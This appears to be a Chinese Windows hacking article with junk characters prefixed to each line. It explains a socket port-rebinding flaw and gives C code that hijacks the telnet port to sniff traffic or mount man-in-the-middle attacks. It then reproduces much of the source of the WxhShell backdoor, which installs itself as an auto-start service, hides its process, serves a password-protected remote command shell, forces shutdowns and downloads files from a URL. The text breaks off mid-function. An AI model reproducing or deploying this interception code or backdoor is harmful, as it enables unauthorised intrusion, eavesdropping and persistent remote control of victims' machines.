在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;^L(^Hx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ewz!O` %hP^%'G saddr.sin_family = AF_INET;
HzsdHH(J .%-8 t{dt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
c+ie8Q! o8MZiU1Xf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
h";L 53h0UL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#'}*dy/ ckn(`I 这意味着什么?意味着可以进行如下的攻击:
hy!3yB@ HzJz+ x: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]?4hyN 8@R|Km5h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Fr-SvsNFB 7tp36 TE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l[J8!u2Xp P+}h$_x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zt%Mx>V@ WIGi51yC.x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rJB}qYD ALHIGJW:6$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8P`"M#fI eMzk3eOJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5)40/cBe 46;uW{EY #include
5h*p\cl!Y #include
{;oPLr+Z #include
Hn:Crl y# #include
zuCSj~ DWORD WINAPI ClientThread(LPVOID lpParam);
,!9zrYi} int main()
:!QAC@
{
L/[K" WORD wVersionRequested;
V]^$S"Tv DWORD ret;
jEwIn1 WSADATA wsaData;
An@t?#4gxi BOOL val;
ssL\g`xe SOCKADDR_IN saddr;
xSu > SOCKADDR_IN scaddr;
,r}6iFu int err;
,,r>,Xq6 SOCKET s;
wIgS3K SOCKET sc;
Bw.i}3UT6 int caddsize;
4p wH>1 HANDLE mt;
73-p*o(pt DWORD tid;
FI.\%x wVersionRequested = MAKEWORD( 2, 2 );
X>^fEQq" err = WSAStartup( wVersionRequested, &wsaData );
v[<T]1=LRC if ( err != 0 ) {
O.M1@w] printf("error!WSAStartup failed!\n");
6u%&<")4HP return -1;
4M T 7 `sr }
|j|rS5 saddr.sin_family = AF_INET;
Gw` L" '"Nr, vQo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gGuO naNghGQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!@sUj saddr.sin_port = htons(23);
2<6UwF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p7~!z.)o {
+[ZY:ZQ printf("error!socket failed!\n");
#9s,#
} return -1;
(k P9hcV }
(m$Y<{)2 val = TRUE;
+`15le`R //SO_REUSEADDR选项就是可以实现端口重绑定的
*WZA9G#V5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4ppz,L,4 {
JGZBL{8 printf("error!setsockopt failed!\n");
E{@[k%,_ return -1;
I+(nu47ZT }
qgB_=Q#E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9H~n_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$VR{q6[0S? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n+p }\msH <ZW-QN4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9M ]_nP Y {
VN.Je:Ju ret=GetLastError();
=MWHJ'3-/ printf("error!bind failed!\n");
}B^tL$k return -1;
g2]Qv@nxw }
u@444Vzg listen(s,2);
`@%LzeGz while(1)
4e {
(At$3b6 caddsize = sizeof(scaddr);
DfB7*+x{ //接受连接请求
#Q5o)x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
A(X KyEx if(sc!=INVALID_SOCKET)
7Yy ; {
4z)]@:`}z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ABkl%m6xf if(mt==NULL)
h`KU\X )A {
<naz+QK' printf("Thread Creat Failed!\n");
[B3RfCV{ break;
SWLo|)@[/ }
/@5YW"1 }
,u m|1dh CloseHandle(mt);
)}vl\7= }
kT=8e;K
closesocket(s);
lx i<F WSACleanup();
[ hsds\ return 0;
8k79&| }
P~dcW DWORD WINAPI ClientThread(LPVOID lpParam)
2qp#N% {
P2Y^d#jO SOCKET ss = (SOCKET)lpParam;
!9x} SOCKET sc;
`h;[TtIX4 unsigned char buf[4096];
>sbu<|]a
7 SOCKADDR_IN saddr;
S>{~nOYt-` long num;
=c7;r]Ol DWORD val;
n !(F, b DWORD ret;
/RF7j; //如果是隐藏端口应用的话,可以在此处加一些判断
kVL.PY\K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7z-[f'EIUI saddr.sin_family = AF_INET;
^Dx&|UwiZa saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
M=Wz saddr.sin_port = htons(23);
)e{}V\;q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WhDJ7{D {
11lsf/IP printf("error!socket failed!\n");
D{!IW!w return -1;
xC?h2hIt }
<GsuZ val = 100;
e(yh[7p= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n`KY9[0U= {
@pxcpXCy ret = GetLastError();
G&dKY h\ return -1;
OJxl<Q=z }
}\LQ3y"[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8i pez/ {
Debv4Gr;^ ret = GetLastError();
$8FUfJ1@ return -1;
snJ129}A }
7o4\oRGV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'<M{)? {
uq{beC printf("error!socket connect failed!\n");
?4B`9<j8% closesocket(sc);
cNH7C"@GVu closesocket(ss);
_G0x3 return -1;
;Qq\DFe.w }
YS ][n_ while(1)
ctUp=po {
YzWz| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<QvOs@i* //如果是嗅探内容的话,可以再此处进行内容分析和记录
@8
6f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A=4OWV? num = recv(ss,buf,4096,0);
/j^ if(num>0)
$J2Gf(RU send(sc,buf,num,0);
n*$ g]G$ else if(num==0)
Je{ykL?N break;
:pUtSs7p} num = recv(sc,buf,4096,0);
Yw9GN2AG if(num>0)
ry!!9Z>9n send(ss,buf,num,0);
W4N{S.#! else if(num==0)
F5Va+z,jg break;
If.r5z9 }
Q20%"&Xp] closesocket(ss);
he4(hX^ closesocket(sc);
)*[3Vq return 0 ;
M`>E|"< }
1"g<0
W >V~E]P%@ Lv%x81]K ==========================================================
]{iQ21`a- $C\BcKlmv 下边附上一个代码,,WXhSHELL
"}!G!k: #`IN`m|
==========================================================
MJvp6n Vc2`b3"Br #include "stdafx.h"
Jb(H %NJ `9 L>* #include <stdio.h>
PM+[,H #include <string.h>
B3BN`mdn> #include <windows.h>
G2Zer=rC #include <winsock2.h>
*or(1DXP8 #include <winsvc.h>
ise-O1' #include <urlmon.h>
"fI6Cpc '%D7C=;^ #pragma comment (lib, "Ws2_32.lib")
,)XLq8 #pragma comment (lib, "urlmon.lib")
_LPHPj^Pg xwr8`?]y #define MAX_USER 100 // 最大客户端连接数
"8RSvT<W^5 #define BUF_SOCK 200 // sock buffer
! z**y}<T #define KEY_BUFF 255 // 输入 buffer
9UkBwS` E3i4=!Y #define REBOOT 0 // 重启
~V-XEQA #define SHUTDOWN 1 // 关机
,'+kBZOv +H.`MZ= #define DEF_PORT 5000 // 监听端口
]A"h&`Cvt z}@7'_iJ #define REG_LEN 16 // 注册表键长度
G#CXs:1pd+ #define SVC_LEN 80 // NT服务名长度
liZxBs
:%i ?0SEMmp`H // 从dll定义API
*Uh!>Iv; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RpK@?[4s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
sRW<me; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K8~d^G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+:f"Y0 hc1N~$3!G // wxhshell配置信息
`gJ(0#ac struct WSCFG {
SIllU int ws_port; // 监听端口
yr6V3],Tp char ws_passstr[REG_LEN]; // 口令
"zc l|@ int ws_autoins; // 安装标记, 1=yes 0=no
R=dC4; char ws_regname[REG_LEN]; // 注册表键名
O=lzT~G|4 char ws_svcname[REG_LEN]; // 服务名
[ }:$yg char ws_svcdisp[SVC_LEN]; // 服务显示名
nu^436MSOa char ws_svcdesc[SVC_LEN]; // 服务描述信息
]yu:i-SfP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ebq4g387X int ws_downexe; // 下载执行标记, 1=yes 0=no
#QPjkR|\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qLCR] _* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2|,VqVb DqPw#<"H };
-} +[ u!s2BC0}N // default Wxhshell configuration
~@!bsLSMU struct WSCFG wscfg={DEF_PORT,
XG?8s
& "xuhuanlingzhe",
Fs{*XKv&lH 1,
omFz@ "Wxhshell",
@ 7u 0v "Wxhshell",
[m -bV$-d "WxhShell Service",
\G BuWY3B "Wrsky Windows CmdShell Service",
@L`jk+Y0vF "Please Input Your Password: ",
>sF)BoLc 1,
cS$_\65 "
http://www.wrsky.com/wxhshell.exe",
7nSxi+6e "Wxhshell.exe"
fOHxtHM };
5N]"~w* 9^x> 3Bo // 消息定义模块
UBs4K*h|
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
QnDg6m)+ char *msg_ws_prompt="\n\r? for help\n\r#>";
i@q&5;%% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)_:NLo: char *msg_ws_ext="\n\rExit.";
1cDF!X] char *msg_ws_end="\n\rQuit.";
~rm_vo char *msg_ws_boot="\n\rReboot...";
}qUX=s
GG char *msg_ws_poff="\n\rShutdown...";
NRuNKl.v char *msg_ws_down="\n\rSave to ";
3'Rx=G' I'Hf{Erw char *msg_ws_err="\n\rErr!";
gr{ DWCK char *msg_ws_ok="\n\rOK!";
z{543~Og59 uO**E-` char ExeFile[MAX_PATH];
YR70BOxK int nUser = 0;
Smh,zCc>s HANDLE handles[MAX_USER];
vI?, 47Hj+ int OsIsNt;
[7-?7mp!B "7
yD0T)2 SERVICE_STATUS serviceStatus;
yu|>t4#GT SERVICE_STATUS_HANDLE hServiceStatusHandle;
TvM~y\s dQvcXl] // 函数声明
cl1T8vFM int Install(void);
:3PH8TL int Uninstall(void);
+t.b` U`- int DownloadFile(char *sURL, SOCKET wsh);
?M2J wAK5 int Boot(int flag);
GY*p?k<i void HideProc(void);
cNrg#Asen& int GetOsVer(void);
54,er$$V int Wxhshell(SOCKET wsl);
Q59suL void TalkWithClient(void *cs);
?0.NIu,,o int CmdShell(SOCKET sock);
+ 3gp%`c4 int StartFromService(void);
=wJX0A| int StartWxhshell(LPSTR lpCmdLine);
@WhHUd4s <aw[ XFg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!Cs_F&l"j VOID WINAPI NTServiceHandler( DWORD fdwControl );
qK+5NF| Sdo-nt // 数据结构和表定义
A,]h),b SERVICE_TABLE_ENTRY DispatchTable[] =
l{9Y {
Wqnc{oq|$ {wscfg.ws_svcname, NTServiceMain},
Sz~OX6L {NULL, NULL}
PnTu };
+q4O D$} [^)g%|W // 自我安装
OI*H,Z" int Install(void)
0Gk<l{o?^ {
dr(*T char svExeFile[MAX_PATH];
m 5.Zu. HKEY key;
v19-./H^
j strcpy(svExeFile,ExeFile);
]'cs. gR**@t=;j // 如果是win9x系统,修改注册表设为自启动
=l6mL+C if(!OsIsNt) {
#E?4E1bnB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f3;5Am RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>?b!QU*a RegCloseKey(key);
#WuBL_nZ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`uFdwO'DD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s7<AfaJPF RegCloseKey(key);
#spCtZE return 0;
| Iib|HQ) }
^~dWU> }
]d]]'Hk }
dM5-; else {
Q8NX)R QZs!{sZ // 如果是NT以上系统,安装为系统服务
4Ig;3 ^%71 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7/H)Az@i45 if (schSCManager!=0)
:h$$J
lP {
\RiP
SC_HANDLE schService = CreateService
j.Hf/vi`z (
+0&/g&a\R schSCManager,
eDMO]5}Ht wscfg.ws_svcname,
]lbuy7xj63 wscfg.ws_svcdisp,
eavV?\uV% SERVICE_ALL_ACCESS,
. vV|hSc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|=w@H]r SERVICE_AUTO_START,
y `UaB3q SERVICE_ERROR_NORMAL,
F847pyOJnf svExeFile,
^ c<Ve'- NULL,
Wri<h:1 NULL,
bsX[UF NULL,
!Ee:o"jG{ NULL,
A<{{iBEI` NULL
d~H`CrQE* );
8r{.jFGv if (schService!=0)
L#J1b!D&<6 {
fl(wV.Je| CloseServiceHandle(schService);
t!XwW$@ CloseServiceHandle(schSCManager);
s#11FfF` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o4X{L`m strcat(svExeFile,wscfg.ws_svcname);
Wc#24:OKe3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+2{Lh7Ks RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6t$8M[0-U RegCloseKey(key);
qna8|3eP return 0;
Nc`L;CP }
Y|n"dMrL }
"[J^YKoF CloseServiceHandle(schSCManager);
+rd+0 `}C }
e=
AKD# }
= [E oxs#866x return 1;
?
k /` }
@5FQX bw7@5=?; // 自我卸载
t# i#(H int Uninstall(void)
b;n[mk
{
J zl6eo[; HKEY key;
,F|f. 7; p2eGm-Erq if(!OsIsNt) {
HtFDlvdy] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[WmM6UEVS RegDeleteValue(key,wscfg.ws_regname);
zfU{Kd RegCloseKey(key);
U/U);frH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
icgfB-1|i RegDeleteValue(key,wscfg.ws_regname);
l**X^+=$ RegCloseKey(key);
S'" Df5 return 0;
6Oq7#3] }
UNYqft4 }
#e"[^_C@! }
"sTRS* else {
mt
.sucT @]j1:PN-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A"]YM'. if (schSCManager!=0)
^c|/*u {
iTwm3V
P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;pAK_> if (schService!=0)
GOPfXtkC {
;p//QJB9 if(DeleteService(schService)!=0) {
LoV<:|GTI CloseServiceHandle(schService);
jp,4h4C^) CloseServiceHandle(schSCManager);
K0~rN.C!0 return 0;
jd:6:Fm }
R&&4y 7 CloseServiceHandle(schService);
A^g(k5M* }
Nb\4 /;# CloseServiceHandle(schSCManager);
&~CI<\o P }
V0@=^Bls }
LV Ge]lD }#fbbtd return 1;
]M=&+c>H~ }
aN?zmkPpov /:
"1Z]@ // 从指定url下载文件
<)9y{J}s: int DownloadFile(char *sURL, SOCKET wsh)
CJ}%W# {
4Z*/WsCv HRESULT hr;
)7F/O3Tq char seps[]= "/";
4RO}<$Nx} char *token;
4s-!7 char *file;
e
,(mR+a8 char myURL[MAX_PATH];
sC'`~}C char myFILE[MAX_PATH];
G{}VPcrbC @JMiO^ strcpy(myURL,sURL);
fhiM U8(& token=strtok(myURL,seps);
$4LzcwG while(token!=NULL)
{)XTk&" {
79gT+~z file=token;
N8jIMb'< token=strtok(NULL,seps);
Cdn J&N{ }
k[xSbs'D HPl<%%TI GetCurrentDirectory(MAX_PATH,myFILE);
pBHRa?Y5 strcat(myFILE, "\\");
J1k>07}| strcat(myFILE, file);
K-v#.e4 send(wsh,myFILE,strlen(myFILE),0);
D*jM1w_` send(wsh,"...",3,0);
pi(m7Ci" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Sjqpec8 if(hr==S_OK)
9[4xFE?| return 0;
Wr
4,YQM else
XFl6M~ c return 1;
}bxs]?OW> c 9Mz]1@f }
7Q 3 k7 Txu/{M, // 系统电源模块
BGSw~6 int Boot(int flag)
BPrt'Nc {
{ 6il`>=C HANDLE hToken;
* 4'"2" TOKEN_PRIVILEGES tkp;
{7[Ox<Ho Jy)/%p~ if(OsIsNt) {
$'v U2L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F9PxSk_\9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
V~GDPJ+ tkp.PrivilegeCount = 1;
/~1+i'7V., tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
MgZ/(X E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4#D,?eA7 if(flag==REBOOT) {
%9"H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[Xkx_B return 0;
_a, s
) }
,1`z"7\W else {
\fOEqe*5SM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pa+hL,w{6 return 0;
#!=tDc
& }
VbYdZCC }
ZJoM?g~WFI else {
c<~H(k'+c if(flag==REBOOT) {
6tZI["\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zLQx%Yg! return 0;
}MySaL> }
>*bvw~y, else {
".%k6W<n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g)-te+?6 return 0;
5P bW[ }
PCA4k.,T }
mFeP9MfJ I%):1\) return 1;
:FF=a3/"6 }
?6!LL5a. P}iE+Z3 // win9x进程隐藏模块
8ag!K*\V< void HideProc(void)
[E_9V%^ {
lE;!TQj:X bA 2pbjg= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ib m4fa if ( hKernel != NULL )
pH;%ELZ {
%b0*H_ok7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Jm@oDME_E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4H/OBR FreeLibrary(hKernel);
SbZ6t$" }
)b)z m2; /v }`l return;
*8q.YuZ }
+ZYn? #IQ !D6]JPX // 获取操作系统版本
!-bB559Nv int GetOsVer(void)
2wn2.\v M {
`cO:<^% OSVERSIONINFO winfo;
4i bc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xw%0>K[ GetVersionEx(&winfo);
{g6%(X\r.r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y`Fw-!'o return 1;
!>tL6+yj else
d9ihhqq3} return 0;
Bvj0^fSm }
#ob/p#k =N@t'fOr // 客户端句柄模块
}]TxlSp!; int Wxhshell(SOCKET wsl)
*hrd5na {
INf&4!&h SOCKET wsh;
CLSK'+l struct sockaddr_in client;
Xj*Wu_ DWORD myID;
hZ3bVi)L\ 5;?yCWc while(nUser<MAX_USER)
1M-pr 8:6s {
,Q B<7a+I int nSize=sizeof(client);
G3]4A&h9v~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E7hhew if(wsh==INVALID_SOCKET) return 1;
rNM;ZPF# ?%86/N> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w!CNRtM:~ if(handles[nUser]==0)
6zkaOA46V closesocket(wsh);
B!yr!DWv else
3T
9j@N77 nUser++;
$e\M_hp*J }
`/g
UV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[lAp62i5 wr4:Go` return 0;
NI5``BwpO }
n%-0V> E]6
6]+;0_ // 关闭 socket
Bx!-"e void CloseIt(SOCKET wsh)
_@g;8CA {
tkhCw/ closesocket(wsh);
YqG7h,F nUser--;
]4{H+rw ExitThread(0);
-M2yw }
+(*DT9s+ iE{&*.q_}> // 客户端请求句柄
_ |p8M!
void TalkWithClient(void *cs)
?upM>69{ {
H]!"Zq k 598i^z{~0% SOCKET wsh=(SOCKET)cs;
51u0]Qx;fm char pwd[SVC_LEN];
Bt#N4m[X*| char cmd[KEY_BUFF];
^{{ qV char chr[1];
\9d$@V int i,j;
yVc(`,tZ( "KlwA.7/ while (nUser < MAX_USER) {
_ m>b2I? ]k(]qZ if(wscfg.ws_passstr) {
d3Rw!slIq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^.G$Q# y, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AS,%RN^. //ZeroMemory(pwd,KEY_BUFF);
;=@0'xPEa- i=0;
-8Xf0_ while(i<SVC_LEN) {
+#By*;BJ vy/-wP|1 // 设置超时
:]c3|J fd_set FdRead;
h~26WLf. struct timeval TimeOut;
:EH=_" FD_ZERO(&FdRead);
/bEAK- FD_SET(wsh,&FdRead);
G:JR7N$ TimeOut.tv_sec=8;
k8Xm n6X TimeOut.tv_usec=0;
C?Ucu]cW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:LTN!jj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
nm+s{ -hV*EPQ/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]?)TdJ` pwd
=chr[0]; zJXplvaL;
if(chr[0]==0xd || chr[0]==0xa) { C>~TI,5a3
pwd=0; /> Nt[o[r
break; uMv1O{
} *kVV+H<X|b
i++; b\ PgVBf9
} @KA4N`
V:27)]q
// 如果是非法用户,关闭 socket ]~%6JJN7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Hdu:"j
} ]d`VT)~vje
fatf*}eln
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >MK98(F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e%6QTg5#
&?vgP!d&M
while(1) { \f)#>+X-
e*!kZAf
ZeroMemory(cmd,KEY_BUFF); V,9cl,z+
3[&C g
// 自动支持客户端 telnet标准 h1{3njdr
j=0; d"NLE'R
while(j<KEY_BUFF) { lLD12d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ha#>G<;n
cmd[j]=chr[0]; WKU=.sY
if(chr[0]==0xa || chr[0]==0xd) { X(C$@N
cmd[j]=0; PzGWff!*n
break; [:V$y1
} %UM
*79
j++; 8X0z~&
} 5PW^j\G-f
rGkyGz8>
// 下载文件 c)tfAD(N8x
if(strstr(cmd,"http://")) { \Roz$t-R|f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x`?3C"N:<
if(DownloadFile(cmd,wsh)) 4fzZ;2sl}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d %#b:(,
else c(%|: P^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oE~Bq/p
} Q,9oKg
else { 'RRE|L,
}75e:w[
switch(cmd[0]) { =2 kG%9
nOz.G"
// 帮助 qw8Rlws%
case '?': { n(|^SH4$b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %IRi1EmN8
break; o]:9')5^
} 4&f3%eTi
// 安装 0RK!/:'
case 'i': { LK"69Qx?5q
if(Install()) * 4Izy14e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yZ`wfj$Jj
else Y<rU#Z #T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uwi7)
break; q]M0md
} A9JdU&
// 卸载 ]tDDq=+v
case 'r': { ~,~eoW7
if(Uninstall()) k'"%.7$U!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @R
6@]Dm
else +{UcspqM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x;')9/3
break; qv*^fiT
} e]tDy0@
// 显示 wxhshell 所在路径 7=DdrG<
case 'p': { >U3cTEs cj
char svExeFile[MAX_PATH]; RGU\h[
strcpy(svExeFile,"\n\r"); r4f~z$QK
strcat(svExeFile,ExeFile); 5Dl/aHb
send(wsh,svExeFile,strlen(svExeFile),0); CA#,THty
break; nvUc\7(%NW
} WT}H>T
// 重启 H4JTGt1"
case 'b': { l (%1jC8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (M
~e?s
if(Boot(REBOOT)) ,1##p77.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N"1B/u
else { +@:x!q|^
closesocket(wsh); #u
+ v_
ExitThread(0); _,d~}_$`i
} @fV9
S"TcM
break; 69 o7EA
} <rmvcim{*
// 关机 lA-h`rl/
case 'd': { l0hlM#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xjUtl
if(Boot(SHUTDOWN)) N&V`K0FU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g>9kXP+
else { e*n@j
closesocket(wsh); 'Qo*y%{@5
ExitThread(0); L~>i,
} Y5d \d\e/
break; LraWcO\or'
} 0C*7K?/
// 获取shell G/mXq-
case 's': { `V3Fx{
CmdShell(wsh); *~H Sy8s
closesocket(wsh); u?{H}V
ExitThread(0); _]*>*XfF(
break; pXK^Y'2C!
} &yol_%C
// 退出 vI)LB)Q
case 'x': { C{bgkzr
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,'iE;o{Tu
CloseIt(wsh);
gRT00
break; (2
a`XwR
} .-X8J t
// 离开 ,i@:5X/t
case 'q': { Z87|Zl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WSY}d
Vr
closesocket(wsh); Zoc0!84<z
WSACleanup(); SC])?h-Fw
exit(1); 9!DQ~k%
break; .K<Q&
} ED&
`_h7?
} /Qk4
} kn"(A.R
f0aKlhEC
// 提示信息 gOOPe5+ J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vl!6W@g
} .@Dxp]/B}
} 0k(a VkZ I
19KQlMO.G
return; 9]wN Bd
} b,%C{mC
+XYE {E5
// shell模块句柄 RlDn0s
int CmdShell(SOCKET sock) 9pxc~=
{ x~j`@k,;
STARTUPINFO si; *U\`CXn;
ZeroMemory(&si,sizeof(si)); ;l-!)0U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MO <3"@/,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q\527^ZM
PROCESS_INFORMATION ProcessInfo; 9lDhIqx0~
char cmdline[]="cmd"; =+?7''{>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9v!1V,`j"
return 0; =6|&Jt
} g^ i&gNDx
;
p {[1
// 自身启动模式 _W'-+,
int StartFromService(void) \A6B,|@
{ :'&brp3ii=
typedef struct Zdo'{ $
{ 3J438M.ka
DWORD ExitStatus; yD6[\'%
DWORD PebBaseAddress; gy9U2Wgf|
